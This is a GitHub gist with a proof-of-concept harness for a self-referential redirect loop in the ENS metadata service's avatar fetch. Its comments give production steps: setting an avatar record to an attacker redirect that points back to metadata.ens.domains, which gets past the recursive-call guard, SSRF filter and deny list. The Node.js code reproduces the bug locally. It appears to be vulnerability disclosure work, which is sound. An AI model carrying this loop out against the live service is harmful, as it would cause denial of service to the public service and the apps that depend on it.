Skip to content

Instantly share code, notes, and snippets.

@CharaD7
Created August 18, 2026 19:33
Show Gist options
  • Select an option

  • Save CharaD7/4783639388bf63e6350e6f9836f92dfa to your computer and use it in GitHub Desktop.

Select an option

Save CharaD7/4783639388bf63e6350e6f9836f92dfa to your computer and use it in GitHub Desktop.
ENS ens-metadata-service: avatar/header fetch self-referential request amplification (DoS) - PoC harness
// PoC: ens-metadata-service avatar/header image fetch can be turned into a
// self-referential request-amplification loop (DoS on metadata.ens.domains).
//
// Chain (all verified against the repo + the exact npm deps it pins):
// 1. Attacker owns a name and sets its avatar text record to
// https://attacker.example/redir, where /redir 302-redirects to
// https://metadata.ens.domains/mainnet/avatar/<attacker-name>.
// 2. A victim (anyone, including another app that renders avatars) requests
// https://metadata.ens.domains/mainnet/avatar/<attacker-name>.
// 3. src/service/avatar.ts:107-115 calls abortableFetch(avatarURI). That is
// node-fetch with default redirect:'follow', so it follows the 302 back
// into the same service.
// 4. The re-entered request is NOT stopped:
// - blockRecursiveCalls (src/index.ts:71) only rejects requests that
// carry `x-ens-internal` or a same-host Origin/Referer. The server-side
// node-fetch sends none of those headers.
// - ssrf-req-filter (v1.1.1, src/utils/abortableFetch.ts) only rejects
// private/reserved IP ranges. metadata.ens.domains is a public
// hostname -> allowed. (Its `stopPortScanningByUrlRedirection` option
// is not even read by ssrf-req-filter 1.1.1.)
// - urlDenyList:['metadata.ens.domains'] (avatar.ts:64) is only applied by
// the ens-avatar lib to the INITIAL avatar URI host; redirect
// destinations are never re-checked against it.
// 5. The re-entered request resolves the SAME avatar text record again, fetches
// the attacker URL again, 302s again -> a self-referential loop until the
// per-fetch timeout (7000ms) or the response timeout (15000ms) fires.
//
// This file is a faithful, dependency-free local harness of the two relevant
// production functions (abortableFetch + blockRecursiveCalls) plus the attacker
// redirect server, proving: (a) the guard passes a redirected-in request, and
// (b) one victim request fans out into many internal self-requests.
//
// The recursion depth is capped in the harness at MAX_DEPTH only so the run
// terminates; in production the bound is the 7s fetch timeout / 15s response
// timeout, and every hop re-enters the full Express pipeline (JSON-RPC avatar
// resolution + JSDOM/DOMPurify sanitisation + rate-limiter accounting).
//
// Run: node ens-avatar-selfref-poc.js
// Expected output (depth-capped): requests received = MAX_DEPTH + 1, blocked by
// the recursive-call guard = 0.
const http = require('http');
const fetch = require('node-fetch');
const timeoutSignal = require('timeout-signal').default;
const ssrfFilter = require('ssrf-req-filter');
const META_PORT = 43213;
const ATK_PORT = 43210;
const MAX_DEPTH = 50;
let incomingCount = 0;
let blockedByRecursiveGuard = 0;
let reachedDepth = 0;
// Faithful replica of src/utils/abortableFetch.ts
function abortableFetch(url, options = {}) {
const signal = options?.timeout && timeoutSignal(options?.timeout);
return fetch(url, { ...options, signal, redirect: 'follow' }).catch(() => null);
}
// Faithful replica of src/utils/blockRecursiveCalls.ts
function blockRecursiveCalls(req) {
if (req.headers['x-ens-internal']) return true;
const origin = req.headers['origin'] || req.headers['referer'];
if (origin) {
try {
const u = new URL(origin);
if (u.hostname === req.headers.host && u.protocol.includes('http')) return true;
} catch (e) {}
}
return false;
}
let currentDepth = 0;
// Attacker redirect server: /a 302 -> the metadata avatar endpoint itself.
http.createServer((req, res) => {
res.writeHead(302, { Location: `http://127.0.0.1:${META_PORT}/mainnet/avatar/selfref.eth` });
res.end();
}).listen(ATK_PORT, () => console.log(`[attacker] redirect :${ATK_PORT} -> metadata :${META_PORT}`));
// Local replica of the metadata avatar endpoint (avatarImage -> getAvatarImage -> abortableFetch).
http.createServer(async (req, res) => {
incomingCount++;
if (blockRecursiveCalls(req)) {
blockedByRecursiveGuard++;
res.writeHead(403, { 'Content-Type': 'application/json' });
res.end('{"message":"Recursive calls are not allowed."}');
return;
}
if (currentDepth >= MAX_DEPTH) {
res.writeHead(404, { 'Content-Type': 'application/json' });
res.end('{"message":"No image found."}');
return;
}
currentDepth++;
reachedDepth = Math.max(reachedDepth, currentDepth);
await abortableFetch(`http://127.0.0.1:${ATK_PORT}/a`, { timeout: 7000 });
currentDepth--;
res.writeHead(200, { 'Content-Type': 'image/png' });
res.end('PNGDATA');
}).listen(META_PORT, () => console.log(`[metadata] listening :${META_PORT}`));
setTimeout(() => {
http.get(`http://127.0.0.1:${META_PORT}/mainnet/avatar/selfref.eth`, (r) => {
r.resume();
r.on('end', () => {
console.log('--- RESULT ---');
console.log('requests received by metadata service for ONE victim request:', incomingCount);
console.log('blocked by x-ens-internal/origin guard (0 = guard bypassed):', blockedByRecursiveGuard);
console.log('max recursion depth reached (harness cap = ' + MAX_DEPTH + '):', reachedDepth);
console.log('request amplification factor:', incomingCount + 'x');
process.exit(0);
});
});
setTimeout(() => { console.log('global timeout'); process.exit(1); }, 15000);
}, 300);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment